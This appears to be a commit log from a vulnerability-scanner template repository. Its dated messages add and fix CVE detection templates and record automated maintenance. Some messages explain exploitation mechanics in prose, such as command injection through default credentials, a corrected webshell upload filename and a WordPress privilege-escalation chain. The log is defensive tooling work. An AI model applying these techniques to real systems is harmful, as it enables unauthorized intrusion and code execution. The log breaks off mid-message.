munzzyy d97dc38908 Fix nh-c2 never matching due to contradictory status check
The dsl matcher requires status_code == 301 && status_code == 302, which
no single response can satisfy, so with condition: and the matcher never
evaluates true and the template can never fire. NH C2 panels answer the
root path with a redirect, so the intent is 301 or 302, not both at once.

Switched && to || so the redirect check accepts either status while the
sha1(body) fingerprint still gates the match.

Verified with nuclei v3.11.0 against a mock host, with the sha1
fingerprint swapped for the hash of the body that host returns so only
the status operator differed: the old expression matched nothing on a 301
or a 302, the fixed one matches both and still ignores a 200.

Signed-off-by: munzzyy <[email protected]>
2026-08-02 13:36:42 -05:00
Aryu-RU 565b536848 Add CVE-2025-11953 React Native Community CLI command injection
The Metro dev server exposes an unauthenticated /open-url endpoint that
passes the url straight to open(). Detection probes the endpoint with an
inert non-http scheme rather than the reported version, since the fix was
backported across the 17.x, 18.x, 19.x and 20.x lines.
2026-08-02 09:33:34 +00:00
Prince Chaddha a8fe0e7798 Update CVE-2025-51586.yaml 2026-08-02 12:03:28 +07:00
Prince Chaddha d489710cb8 Update CVE-2025-32463.yaml 2026-08-02 12:02:51 +07:00
Prince Chaddha 7f6b1ff7da Update CVE-2024-41667.yaml 2026-08-02 12:02:20 +07:00
Prince Chaddha 14b84d47d2 Update leantime-stored-xss.yaml 2026-08-02 12:01:34 +07:00
Prince Chaddha 67f540f07e Update CVE-2020-36836.yaml 2026-08-02 12:01:06 +07:00
Prince Chaddha 3f85d13dfb Update CVE-2025-6197.yaml 2026-08-02 12:00:40 +07:00
Prince Chaddha 517aca8324 Update CVE-2024-50857.yaml 2026-08-02 12:00:12 +07:00
Prince Chaddha 89e9da8238 Update CVE-2024-4841.yaml 2026-08-02 11:59:58 +07:00
Prince Chaddha 1542a3177d Update CVE-2023-6750.yaml 2026-08-02 11:59:38 +07:00
Prince Chaddha 35360c9287 Update CVE-2023-43177.yaml 2026-08-02 11:59:13 +07:00
Prince Chaddha f8546dccf5 Update CVE-2023-27847.yaml 2026-08-02 11:58:57 +07:00
Prince Chaddha 3fd1e04dac Update CVE-2025-20188.yaml 2026-08-02 11:58:27 +07:00
Prince Chaddha e4c68516a5 Update CVE-2026-1492.yaml 2026-08-02 11:58:03 +07:00
Prince Chaddha bb97c17ebd Update CVE-2019-9757.yaml 2026-08-02 11:57:24 +07:00
Prince Chaddha 16277fb12d Update CVE-2023-46818.yaml 2026-08-02 11:57:06 +07:00
Prince Chaddha cf77a01228 Update vbulletin-path-disclosure.yaml 2026-08-02 11:56:16 +07:00
Prince Chaddha c22e0b8fc9 Update doccano-default-login.yaml 2026-08-02 11:55:27 +07:00
Prince Chaddha 99b4076517 Update puppetdb-dashboard-unauth.yaml 2026-08-02 11:55:07 +07:00
Prince Chaddha 5de61430c5 Update ektron-blog-xmlrpc-xxe.yaml 2026-08-02 11:54:52 +07:00
Prince Chaddha fe1a32b4e8 Update tongdaoa-auth-bypass.yaml 2026-08-02 11:54:41 +07:00
Prince Chaddha 9e47f47e9a Update wp-livechat-stored-xss.yaml 2026-08-02 11:54:30 +07:00
Prince Chaddha 918d997bef Update CVE-2018-6882.yaml 2026-08-02 11:54:18 +07:00
Prince Chaddha d60c4b2a04 Update CVE-2025-49113.yaml 2026-08-02 11:54:03 +07:00
Prince Chaddha 7e24c87e1d Update CVE-2026-23482.yaml 2026-08-02 11:53:42 +07:00
Prince Chaddha f6ccb476be Update CVE-2024-34470.yaml 2026-08-02 11:53:34 +07:00
Prince Chaddha 88c8bbfc1c Update CVE-2023-3578.yaml 2026-08-02 11:53:18 +07:00
Prince Chaddha 86f60b4639 Update CVE-2026-55592.yaml 2026-08-02 11:51:31 +07:00
Meet Rathod d4cd5b73e5 Add Firebase Authentication fingerprint template 2026-08-02 03:10:26 +00:00
ghost f5a1370a5c chore: update EPSS scores 🤖 2026-08-02 03:00:19 +00:00
juoum00000 a95750cbdd Added Template for CVE-2026-48030 (Pheditor command injection)
This PR adds a template for CVE-2026-48030, an OS command injection vulnerability in Pheditor versions 2.0.1 through 2.0.3.

The vulnerability occurs in the terminal action handler where the dir parameter is passed to shell_exec() without sanitization. This template authenticates using the default credentials (admin), extracts the CSRF token, and safely executes the id command to verify the vulnerability.

References:
- https://github.com/advisories/GHSA-jvc5-6g7q-c843
- https://github.com/muslimbek-0x/CVE-2026-48030
2026-08-01 22:51:33 +01:00
Rishi e8a771ba12 Merge branch 'main' into add-product-detection-coverage 2026-08-01 19:28:51 +01:00
ghost 1532cc9ca1 chore: generate templates checksum 🤖 2026-08-01 10:05:53 +00:00
ghost b6b8d31dee chore: generate new addition list 🤖 2026-08-01 10:03:41 +00:00
ghost 64e1e8adb4 chore: sign templates 🤖 2026-08-01 10:03:16 +00:00
pussycat0x ade4713391 Merge pull request #16581 from Th3l0newolf/ubuntu-phase-4-CIS
Ubuntu CIS Phase 4 Templates
2026-08-01 15:32:46 +05:30
rxerium 93c25eaf1e feat: add product detection templates 2026-08-01 09:05:33 +01:00
Ritik Chaddha 460377a98a Create CVE-2019-14793.yaml 2026-08-01 12:41:40 +07:00
ghost e3b1b785e6 chore: update KEV and vKEV tags and metadata 🤖 2026-08-01 04:09:25 +00:00
ghost 84cf2b9047 chore: update EPSS scores 🤖 2026-08-01 03:00:34 +00:00
BoX FanandClaude Opus 5 464407db01 fix(cve-2023-37629): close filename quote before the .php extension
The pigphoto part closes its filename quote before .php instead of after
it, so the extension never reaches the target:

    filename="{{rand_base(5)}}".php"

PHP's multipart parser reads the quoted string as filename="<rand>" and
discards the trailing .php", storing the upload without an extension.
Fetching it back returns the payload as text instead of executing it, so
the template reports critical RCE while the planted file is inert. With
the quote moved, the same request stores <rand>.php and the payload runs.

Verified with nuclei v3.11.0 against php:8.3-apache (PHP 8.3.33) and a
stand-in upload endpoint: before, $_FILES name is <rand> and the file is
served verbatim; after, it is <rand>.php and executes.

The referenced PoC uploads with curl -F [email protected], which emits
a balanced filename="shell.php", confirming <rand>.php is intended.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 10:51:00 +08:00
ghost 8dd4ae74ca chore: generate templates checksum 🤖 2026-07-31 15:14:17 +00:00
ghost f28a882a5f chore: generate new addition list 🤖 2026-07-31 15:13:01 +00:00
ghost 0b590c4e2d chore: sign templates 🤖 2026-07-31 15:10:33 +00:00
ghost 8bb5d616c0 chore: generate CVEs metadata 🤖 2026-07-31 15:10:19 +00:00
Aman Rawat eeb94eb2c3 Merge pull request #16561 from segfault-myass/CVE-2026-55450
Add CVE 2026 55450 Langflow Unauthenticated File Upload
2026-07-31 20:40:01 +05:30
Aman Rawat 45e8665187 Update htaccess-config.yaml 2026-07-31 20:36:29 +05:30
Aman Rawat a9ebc948f6 Update CVE-2026-55450.yaml 2026-07-31 20:35:48 +05:30
pussycat0x db6592cfee Update CVE-2026-55450.yaml 2026-07-31 18:17:28 +05:30
pussycat0x 6451c4919a minor -changes 2026-07-31 17:55:46 +05:30
Muhammad Daffa 41445b22c7 Update htaccess-config.yaml with new paths 2026-07-31 16:09:34 +07:00
ghost fb3de8de47 chore: generate templates checksum 🤖 2026-07-31 06:36:02 +00:00
ghost f63f4e5339 chore: generate new addition list 🤖 2026-07-31 06:33:55 +00:00
ghost d5f9cdc15a chore: sign templates 🤖 2026-07-31 06:33:17 +00:00
pussycat0x eb394f8f18 Merge pull request #16701 from shadowhunter-92/add-claude-code-settings-detector
Add Claude Code project settings exposure detector (.claude/settings.json, .mcp.json)
2026-07-31 12:02:52 +05:30
ghost 37c1f4655e chore: generate templates checksum 🤖 2026-07-31 06:11:37 +00:00
ghost e8668a4e8d chore: generate new addition list 🤖 2026-07-31 06:09:49 +00:00
ghost 1914bcc243 chore: sign templates 🤖 2026-07-31 06:09:02 +00:00
ghost 1eab5fb678 chore: generate CVEs metadata 🤖 2026-07-31 06:08:57 +00:00
Aman Rawat 19e3c23e0e Merge pull request #16693 from projectdiscovery/pussycat0x-patch-25
Create CVE-2025-68493.yaml
2026-07-31 11:38:33 +05:30
ghost 085fc08c91 chore: update KEV and vKEV tags and metadata 🤖 2026-07-31 04:09:44 +00:00
ghost e0b8ee64a4 chore: update EPSS scores 🤖 2026-07-31 03:00:44 +00:00
Shreyas Malhotra 5472a52b65 Clean up comments in CVE-2025-32969.yaml
Removed comments regarding Content-Type handling in the REST endpoint.
2026-07-31 01:49:56 +05:30
Shreyas Malhotra dc0d8d72a7 fix(CVE-2025-32969): remove incorrect content_type matcher
The XWiki REST API returns Content-Type: application/xml, not
text/javascript. The text/javascript value only appears in the
Content-Script-Type header, which nuclei's content_type DSL
variable does not read.

This caused the template to never fire
despite the vulnerability being present and the other three
matchers passing.

Removed the broken condition; the remaining
three matchers (duration>=7, status_code==200, body contents)
are sufficient for unambiguous detection.
2026-07-31 00:47:35 +05:30
Dominique RIGHETTO 0b8847f51e Fix formatting of condition in airflow-detect.yaml 2026-07-30 18:25:25 +02:00
Dominique RIGHETTO 22172ecc81 Enhance airflow-detect.yaml with new details
Updated author, added description, and modified matchers.
2026-07-30 18:16:32 +02:00
Dhiyaneshwaran b2dc993e83 Refactor matchers in CVE-2026-63030.yaml 2026-07-30 17:09:38 +05:30
Dhiyaneshwaran 07b897f692 Delete http/exposures/tokens/anthropic/anthropic-api-key.yaml 2026-07-30 17:08:17 +05:30
Dhiyaneshwaran 36e3a02cdd Refactor Claude settings exposure configuration
Removed unnecessary HTTP settings and regex extractors, and updated matchers.
2026-07-30 17:06:17 +05:30
ghost 6a937552e9 chore: generate templates checksum 🤖 2026-07-30 11:33:26 +00:00
ghost 1dac00658c chore: generate new addition list 🤖 2026-07-30 11:31:34 +00:00
ghost fa878b5527 chore: sign templates 🤖 2026-07-30 11:30:50 +00:00
ghost 0a90950aae chore: generate CVEs metadata 🤖 2026-07-30 11:30:45 +00:00
Dhiyaneshwaran 19f4659cc3 Merge pull request #16696 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-65694.yaml - Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read
2026-07-30 17:00:30 +05:30
ghost 2571c3cb4e chore: generate templates checksum 🤖 2026-07-30 10:32:22 +00:00
ghost e698565fa8 chore: generate new addition list 🤖 2026-07-30 10:30:23 +00:00
ghost 4130941b9f chore: sign templates 🤖 2026-07-30 10:29:44 +00:00
ghost 82e6d890a5 chore: generate CVEs metadata 🤖 2026-07-30 10:29:40 +00:00
Roberto Nunes 7112c1b6c1 Merge pull request #16691 from projectdiscovery/CVE-2025-71334
CVE-2025-71334 - Flowise - Path Traversal
2026-07-30 19:29:21 +09:00
shadowhunter-92 4ca8eb413f Add Claude Code project settings exposure detector 2026-07-30 12:49:04 +05:00
shadowhunter-92 6ad76784a0 Move settings-exposure template to dedicated branch 2026-07-30 12:49:00 +05:00
shadowhunter-92 a64941c8dc Add Claude Code project settings exposure detector 2026-07-30 12:47:15 +05:00
shadowhunter-92 799c7da1b8 Fix author line to match GitHub username 2026-07-30 12:32:12 +05:00
shadowhunter-92 a32cc8c57a Add Anthropic API key exposure detector 2026-07-30 12:28:25 +05:00
ghost d9cdda7e7a chore: generate templates checksum 🤖 2026-07-30 07:22:48 +00:00
ghost 5f5fe47c31 chore: generate new addition list 🤖 2026-07-30 07:20:42 +00:00
ghost 13cbb0459d chore: sign templates 🤖 2026-07-30 07:19:55 +00:00
ghost 8cfbb800c5 chore: generate CVEs metadata 🤖 2026-07-30 07:19:52 +00:00
pussycat0x fea8458e6e Merge pull request #16043 from tx1ee/add-CVE-2025-54988-tika-xxe
Add CVE-2025-54988: Apache Tika XXE Injection
2026-07-30 12:49:35 +05:30
ghost 44278497a7 chore: generate templates checksum 🤖 2026-07-30 07:05:32 +00:00
ghost 1270fd5d29 chore: sign templates 🤖 2026-07-30 07:03:02 +00:00
pussycat0x 1be9adfe5a Merge pull request #16668 from DPS0340/fix/thinkphp6-status-code-2
fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
2026-07-30 12:32:41 +05:30
pussycat0x 1c5024730f Update CVE-2025-54988.yaml 2026-07-30 12:29:55 +05:30
pussycat0x 7440dd52f9 Update thinkphp6-arbitrary-write.yaml 2026-07-30 12:13:51 +05:30
ghost 9cba21fc41 chore: update KEV and vKEV tags and metadata 🤖 2026-07-30 04:02:34 +00:00
ghost 66442328eb chore: update EPSS scores 🤖 2026-07-30 02:59:45 +00:00
Roberto Nunes 00a76d6c50 Create CVE-2026-13147.yaml 2026-07-30 10:52:26 +09:00
Roberto Nunes b95ebd83d1 Update CVE-2026-65694 author information 2026-07-30 10:39:26 +09:00
Roberto Nunes f21e699d6d Create CVE-2026-65694.yaml 2026-07-30 10:37:04 +09:00
pussycat0x 0a103f12ed Create CVE-2025-68493.yaml 2026-07-29 17:58:27 +05:30
Aman Rawat ce8af573cc Create CVE-2026-27542.yaml 2026-07-29 16:05:33 +05:30
Aman Rawat ee3bf60642 Create CVE-2025-71334.yaml 2026-07-29 15:50:52 +05:30
Roberto Nunes 22f7231b47 Create CVE-2026-14894.yaml 2026-07-29 18:45:56 +09:00
Jerome FELLUS 6d97713748 feat(CVE-2026-65761): add template for Joomla Easy Store extension Unauthenticated SQL Injection 2026-07-29 11:09:00 +02:00
ghost 9979ce144c chore: generate templates checksum 🤖 2026-07-29 07:26:32 +00:00
ghost 85a8ba620e chore: generate new addition list 🤖 2026-07-29 07:24:42 +00:00
ghost 801484a1cc chore: generate CVEs metadata 🤖 2026-07-29 07:24:00 +00:00
ghost 3735f0f595 chore: sign templates 🤖 2026-07-29 07:23:52 +00:00
pussycat0x 607adada97 Merge pull request #16650 from iamatownboy/pr/cve-2026-4987
Add CVE-2026-4987 SureForms payment bypass template
2026-07-29 12:53:30 +05:30
ghost ab255c7216 chore: generate templates checksum 🤖 2026-07-29 07:01:45 +00:00
ghost ed5b0bd805 chore: generate new addition list 🤖 2026-07-29 07:00:37 +00:00
ghost 7c4a20d1c6 chore: generate CVEs metadata 🤖 2026-07-29 06:59:29 +00:00
ghost 713694365e chore: sign templates 🤖 2026-07-29 06:59:25 +00:00
Ritik Chaddha 795f5f4286 Merge pull request #16678 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-49952.yaml - Discuz! X5.0 - Authentication Bypass via UC_KEY Encryption Oracle
2026-07-29 13:59:06 +07:00
ghost b5cc88b9f0 chore: generate new addition list 🤖 2026-07-29 06:57:34 +00:00
ghost dbe0ddc780 chore: generate CVEs metadata 🤖 2026-07-29 06:56:48 +00:00
ghost 6940c3d7d6 chore: sign templates 🤖 2026-07-29 06:56:43 +00:00
Dhiyaneshwaran 26ff686384 Merge pull request #16684 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-44825.yaml - Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
2026-07-29 12:26:22 +05:30
Dhiyaneshwaran 0797f90893 Refine CVE-2026-44825 details and structure
Updated the CVE description for clarity and removed redundant matchers and extractors.
2026-07-29 12:21:33 +05:30
ghost 0703e486d8 chore: generate templates checksum 🤖 2026-07-29 06:45:36 +00:00
Dhiyaneshwaran f1f0c3f000 Merge pull request #16687 from daffainfo/patch-352621
Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml
2026-07-29 12:12:26 +05:30
ghost ee41e20d73 chore: generate templates checksum 🤖 2026-07-29 05:41:26 +00:00
Aman Rawat 1193722382 Merge pull request #16686 from daffainfo/patch-552922
Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml
2026-07-29 11:08:50 +05:30
Aman Rawat a8958a2bef Merge pull request #16680 from daffainfo/patch-709746
Delete http/exposures/configs/config-json.yaml
2026-07-29 11:08:21 +05:30
ghost d2a6ae1020 chore: generate templates checksum 🤖 2026-07-29 05:35:01 +00:00
ghost c46bc27d57 chore: generate new addition list 🤖 2026-07-29 05:33:12 +00:00
ghost 32d7aff472 chore: generate new addition list 🤖 2026-07-29 05:32:58 +00:00
ghost fa0dcc582f chore: generate CVEs metadata 🤖 2026-07-29 05:32:23 +00:00
ghost 3052255b67 chore: sign templates 🤖 2026-07-29 05:32:18 +00:00
Ritik Chaddha d97bbbf192 Merge pull request #16652 from iamatownboy/pr/cve-2026-39468
Add CVE-2026-39468 Meta Box template
2026-07-29 12:31:59 +07:00
Ritik Chaddha 722e1cda9a Merge pull request #16660 from y0no/add-dolibarr-cve-2026-34036
Create CVE-2026-34036.yaml
2026-07-29 12:31:51 +07:00
ghost 151af53dd5 chore: generate templates checksum 🤖 2026-07-29 05:29:55 +00:00
Ritik Chaddha 6d5b1e16d6 Update CVE-2026-49952.yaml 2026-07-29 12:28:06 +07:00
ghost cc3d3b9bbe chore: sign templates 🤖 2026-07-29 05:27:44 +00:00
Ritik Chaddha adcb49aba1 Merge pull request #16672 from munzzyy/fix/nfs-v3-exposed-accept-stat
Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
2026-07-29 12:27:25 +07:00
ghost 8a4884de10 chore: sign templates 🤖 2026-07-29 05:27:17 +00:00
Ritik Chaddha d75b5a7474 Merge pull request #16667 from DPS0340/fix/portal-api-ssrf-interactsh-part
fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
2026-07-29 12:26:56 +07:00
Ritik Chaddha b1137e7cc6 Update CVE-2026-34036.yaml 2026-07-29 12:26:17 +07:00
Ritik Chaddha 51962e9186 Update CVE-2026-39468.yaml 2026-07-29 12:25:22 +07:00
ghost 90c00ab062 chore: generate templates checksum 🤖 2026-07-29 05:05:14 +00:00
ghost 14ee8805c9 chore: generate new addition list 🤖 2026-07-29 05:02:47 +00:00
ghost c99d355aa4 chore: sign templates 🤖 2026-07-29 05:02:25 +00:00
ghost dc6dfa85fc chore: generate CVEs metadata 🤖 2026-07-29 05:02:22 +00:00
Roberto Nunes c7cf4002e4 Merge pull request #16685 from daffainfo/patch-357248
Rename filename CVE-2021-45046 to CVE-2021-45046-DAST
2026-07-29 14:02:04 +09:00
Roberto Nunes f6028603c6 Merge pull request #16688 from daffainfo/patch-558923
Fix id + filename for IBM DB2 Server
2026-07-29 14:01:47 +09:00
Roberto Nunes b3cfbb1292 Merge pull request #16689 from projectdiscovery/CVE-2026-16232-js
Update tags in CVE-2026-16232.yaml
2026-07-29 14:01:39 +09:00
Dhiyaneshwaran 54d2474ef1 Update tags in CVE-2026-16232.yaml 2026-07-29 10:23:46 +05:30
Muhammad Daffa f88d95539d Fix id + filename for IBM DB2 Server 2026-07-29 10:19:10 +07:00
Muhammad Daffa 8864a7ffa2 Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml 2026-07-29 10:11:34 +07:00
Muhammad Daffa 8d73a422a9 Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml 2026-07-29 10:11:07 +07:00
ghost de1ab28cf2 chore: update EPSS scores 🤖 2026-07-29 03:00:02 +00:00
ghost b001404514 chore: generate templates checksum 🤖 2026-07-29 02:51:26 +00:00
Muhammad Daffa 5784514e5a Add CVE-2021-45046 DAST configuration file 2026-07-29 09:50:41 +07:00
ghost e0a5f09d68 chore: sign templates 🤖 2026-07-29 02:48:52 +00:00
Roberto Nunes 805eca6246 Merge pull request #16671 from DPS0340/fix/cve-2025-2075-setup-matchers
fix(CVE-2025-2075): mark the setup-stage matchers internal
2026-07-29 11:48:27 +09:00
ghost 31336d0784 chore: generate templates checksum 🤖 2026-07-29 02:46:09 +00:00
ghost 53b01f8375 chore: generate new addition list 🤖 2026-07-29 02:44:12 +00:00
ghost bc1123e5ae chore: sign templates 🤖 2026-07-29 02:43:36 +00:00
ghost d5a46b2c44 chore: generate CVEs metadata 🤖 2026-07-29 02:43:29 +00:00
Roberto Nunes 10be6474a4 Merge pull request #16675 from mbmy/patch-1
fix intrusive tag typo in CVE-2023-34124.yaml
2026-07-29 11:43:15 +09:00
Roberto Nunes 08c7708abd Merge pull request #16683 from projectdiscovery/CVE-2026-16232
CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass
2026-07-29 11:43:06 +09:00
Roberto Nunes 0d4679943d Add CVE-2026-44825 for Apache Solr vulnerability
Added CVE-2026-44825 for Apache Solr hardcoded credentials vulnerability, detailing severity, impact, remediation, and references.
2026-07-29 10:21:36 +09:00
Dhiyaneshwaran dc057b1a13 CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass 2026-07-29 03:03:07 +05:30
gotr00t0day 33ef3e672d Update CVE-2026-63030.yaml 2026-07-28 16:11:11 -04:00
Muhammad Daffa 89aa76be77 Delete http/exposures/configs/config-json.yaml 2026-07-28 18:42:01 +07:00
ghost 3887f9deba chore: generate templates checksum 🤖 2026-07-28 10:50:09 +00:00
ghost fd7b8cae9d chore: sign templates 🤖 2026-07-28 10:49:23 +00:00
Dhiyaneshwaran e0e3714613 Merge pull request #16669 from DPS0340/fix/unconsumed-internal-extractors
fix: unhide two extractors that nothing consumes
2026-07-28 16:19:00 +05:30
Dhiyaneshwaran a1509fe5bb Update CVE-2026-4987.yaml 2026-07-28 16:18:40 +05:30
ghost 31ff84e435 chore: sign templates 🤖 2026-07-28 10:47:00 +00:00
Dhiyaneshwaran f68333ddb2 Merge pull request #16664 from DPS0340/fix/code-template-unsupported-lookahead
fix: replace an unsupported lookahead that made home-env-permission fail to load
2026-07-28 16:16:33 +05:30
Dhiyaneshwaran 20a233b85e Merge branch 'main' into fix/unconsumed-internal-extractors 2026-07-28 16:14:38 +05:30
ghost 648d5e4c5a chore: sign templates 🤖 2026-07-28 10:44:04 +00:00
Dhiyaneshwaran 12a5f7c5b8 Merge pull request #16677 from rxerium/add-arista-velocloud-favicon
add Arista VeloCloud favicon hash to favicon-detect
2026-07-28 16:13:37 +05:30
pussycat0x 0a897c3c59 Update portal-api-ssrf.yaml 2026-07-28 11:35:41 +05:30
ghost c9097bc88f chore: generate templates checksum 🤖 2026-07-28 05:45:07 +00:00
ghost 2fa409975f chore: generate new addition list 🤖 2026-07-28 05:43:39 +00:00
ghost 55b5cebcc6 chore: generate CVEs metadata 🤖 2026-07-28 05:43:17 +00:00
ghost f18f58e0f4 chore: generate new addition list 🤖 2026-07-28 05:43:07 +00:00
pussycat0x 1b12bdb737 Merge pull request #16649 from iamatownboy/pr/cve-2026-3335
Add CVE-2026-3335 Canto template
2026-07-28 11:12:53 +05:30
ghost 4682b3e13d chore: generate CVEs metadata 🤖 2026-07-28 05:42:42 +00:00
ghost 39435de889 chore: sign templates 🤖 2026-07-28 05:42:32 +00:00
pussycat0x 680c7d94ae Merge pull request #16657 from ywh-jfellus/ywh-CVE-2026-9192
add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass
2026-07-28 11:12:13 +05:30
ghost 3f89dd7143 chore: generate templates checksum 🤖 2026-07-28 05:38:05 +00:00
ghost 1779194bd8 chore: generate new addition list 🤖 2026-07-28 05:37:25 +00:00
ghost d67d769f2e chore: generate CVEs metadata 🤖 2026-07-28 05:36:55 +00:00
ghost a825b9a4b7 chore: sign templates 🤖 2026-07-28 05:36:51 +00:00
pussycat0x 73f1338d0f Merge pull request #16647 from iamatownboy/pr/cve-2026-1830
Add CVE-2026-1830 Quick Playground template
2026-07-28 11:06:30 +05:30
ghost 904ebe89f2 chore: generate new addition list 🤖 2026-07-28 05:36:04 +00:00
ghost 166eb7da81 chore: sign templates 🤖 2026-07-28 05:35:16 +00:00
pussycat0x f7a2085c8c Merge pull request #16644 from iamatownboy/pr/cve-2025-14047
Add CVE-2025-14047 WPUF template
2026-07-28 11:04:55 +05:30
Dhiyaneshwaran db00bc1748 Update CVE-2026-4987.yaml 2026-07-28 11:04:52 +05:30
Dhiyaneshwaran 7689cfeb65 Update CVE-2026-3335.yaml 2026-07-28 10:19:14 +05:30
Rishi 7e87d44c05 Merge branch 'main' into add-arista-velocloud-favicon 2026-07-28 05:48:38 +01:00
rxerium 389176e67d fix: keep only Arista VeloCloud /favicon.ico hash in favicon-detect
Drop 2022473497 (/vco/favicon) — favicon-detect only requests /favicon.ico and /images/favicon.ico. Keep -2062596654, which matches VCO UI and Edge Activation hosts.
2026-07-28 05:48:06 +01:00
Roberto Nunes a30816f113 Create CVE-2026-49952.yaml 2026-07-28 13:43:14 +09:00
ghost d45959218d chore: update KEV and vKEV tags and metadata 🤖 2026-07-28 04:03:07 +00:00
ghost 513833aeab chore: update EPSS scores 🤖 2026-07-28 02:59:43 +00:00
rxerium cbad62c898 add Arista VeloCloud favicon hashes to favicon-detect
Add mmh3 hashes 2022473497 (/vco/favicon) and -2062596654 (/favicon.ico) for Arista VeloCloud / VMware SD-WAN Orchestrator and Edge detection.
2026-07-28 03:47:08 +01:00
Dhiyaneshwaran db27779e0d Enhance CVE-2026-1830 details in YAML file
Updated the CVE-2026-1830 YAML file to provide more detailed information about the vulnerability, including specific endpoints and conditions for exploitation.
2026-07-28 03:31:09 +05:30
Michael Young 64fedb29c8 fix intrusive tag typo in CVE-2023-34124.yaml 2026-07-27 17:55:36 -04:00
Chris 0c123affa6 Add cyberstrikeai-panel 2026-07-27 22:29:09 +02:00
zer0p0int 265aba2270 Merge branch 'main' into add-cve-2026-7467-expand-maker 2026-07-27 23:33:42 +08:00
ghost 4924c84cac chore: generate templates checksum 🤖 2026-07-27 13:09:46 +00:00
ghost 236007a14e chore: generate new addition list 🤖 2026-07-27 13:07:46 +00:00
ghost 1a43f013d4 chore: sign templates 🤖 2026-07-27 13:07:06 +00:00
ghost 92ad7bd49a chore: generate CVEs metadata 🤖 2026-07-27 13:06:59 +00:00
Roberto Nunes a912077984 Merge pull request #16631 from stopic-lab/stopic-lab-patch-1
Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
2026-07-27 22:06:41 +09:00
ghost a136f24522 chore: generate templates checksum 🤖 2026-07-27 13:04:28 +00:00
ghost 3c2ea92c12 chore: sign templates 🤖 2026-07-27 13:02:28 +00:00
Roberto Nunes 6cad0fb533 Merge pull request #16454 from ashvinctrl/fix-mongodb-unauth-opmsg
fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
2026-07-27 22:02:07 +09:00
ghost 94c4593fb9 chore: sign templates 🤖 2026-07-27 13:01:50 +00:00
Roberto Nunes cf5f25c599 Merge pull request #16665 from DPS0340/fix/regex-extractor-capture-groups
fix: add the missing capture group to three regex extractors
2026-07-27 22:01:27 +09:00
Dhiyaneshwaran bc70089e09 Update CVE-2025-14047.yaml 2026-07-27 18:16:35 +05:30
Jiho Lee 8bb1853668 fix: unhide two extractors that nothing consumes 2026-07-27 15:44:37 +09:00
Aman Rawat 450c0c070b Update oracle-containers-panel.yaml 2026-07-27 11:51:54 +05:30
Aman Rawat 45c50aaad8 Update springboot-x-application-context.yaml 2026-07-27 11:50:19 +05:30
Aman Rawat 711f03e60e Update CVE-2026-34036.yaml 2026-07-27 11:48:48 +05:30
Aman Rawat 345cfba933 Update CVE-2026-9198.yaml 2026-07-27 11:14:21 +05:30
Aman Rawat aa597c3b57 Update CVE-2026-39468.yaml 2026-07-27 10:55:40 +05:30
Aman Rawat bfdfdab420 Update mongodb-unauth.yaml 2026-07-27 10:37:49 +05:30
Aman Rawat d97be8aec8 Updated to passive detection to avoid deletion 2026-07-27 09:59:39 +05:30
ghost 4ccef9ea7c chore: generate templates checksum 🤖 2026-07-27 04:19:26 +00:00
ghost dfcf3eecfb chore: sign templates 🤖 2026-07-27 04:16:57 +00:00
Dhiyaneshwaran fbabe1c460 Merge pull request #16661 from projectdiscovery/fix-empty-operators
fix empty operators
2026-07-27 09:46:32 +05:30
ghost f0b5f4bdc4 chore: update EPSS scores 🤖 2026-07-27 03:01:04 +00:00
Cole Munz 6bb051f090 Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
Reported in #16662. The binary matcher checks XID, REPLY, MSG_ACCEPTED
and the AUTH_NONE verifier, but stops before accept_stat even though the
comment claims it checks SUCCESS. So an RPC reply that was accepted but
unsuccessful - most often PROG_UNAVAIL from a portmapper or a host where
NFS isn't registered on that port - still matches as an exposed NFSv3
service.

Appended the missing accept_stat=SUCCESS(0) four bytes so the matcher
checks what the comment already said. Verified against the reporter's
captured bytes: the PROG_UNAVAIL response ends in accept_stat 00000001,
which no longer satisfies the pattern, while a real SUCCESS reply still
matches.

Signed-off-by: Cole Munz <[email protected]>
2026-07-26 21:34:29 -05:00
Jiho Lee 6d5af18ddf fix(CVE-2025-2075): mark the setup-stage matchers internal
Two of the four blocks are setup for the privilege escalation -- logging in
with valid credentials, and firing the uap async_action request -- and both
carry non-internal matchers. nuclei reports every block whose matchers pass,
so an ordinary WordPress reports high-severity findings without the
vulnerable plugin being present.

Block 3 is the sharper one: the exploit POST is matched on status 200 alone,
and WordPress returns 200 with {"code":"rest_no_route"} for a REST route
that does not exist. The absence of the plugin looks identical to its
presence.

Against a WordPress that accepts the login but has no vulnerable plugin:

  before:  2 x [CVE-2025-2075] [high]  .../wp-login.php
                                        .../wp-json/uap/v2/async_action/
  after:   (nothing)

Against a host where the escalation does succeed:

  before:  3 findings (2 of them the setup blocks)
  after:   1 finding  .../wp-admin/users.php?role=administrator

The last block is untouched. It requires "Howdy," AND ">Select <username><"
on the administrators page, which is the only evidence the role actually
changed.

Same pattern CVE-2026-23696 uses for its flow stages. Chain still runs: all
4 blocks execute before and after, and the vulnerable host still reports.

nuclei -validate passes before and after.
2026-07-27 10:00:56 +09:00
Jiho Lee 90ebe33219 fix(CVE-2024-0200): mark the setup-stage matchers internal
Four of the seven request blocks are setup for the exploit -- list orgs,
confirm admin role, create a repo, log in, read the session secret -- and
each carries a non-internal matcher. nuclei reports every block whose
matchers pass, so a GitHub Enterprise host that merely lets you log in
produces critical findings without the reflection bug being present.

Against a server that satisfies the setup stages and is NOT vulnerable
(the payload cookie returns 200, not 500, and there is no OAST callback):

  before:  3 x [CVE-2024-0200] [critical]   .../memberships/x
                                            .../repos
                                            .../session
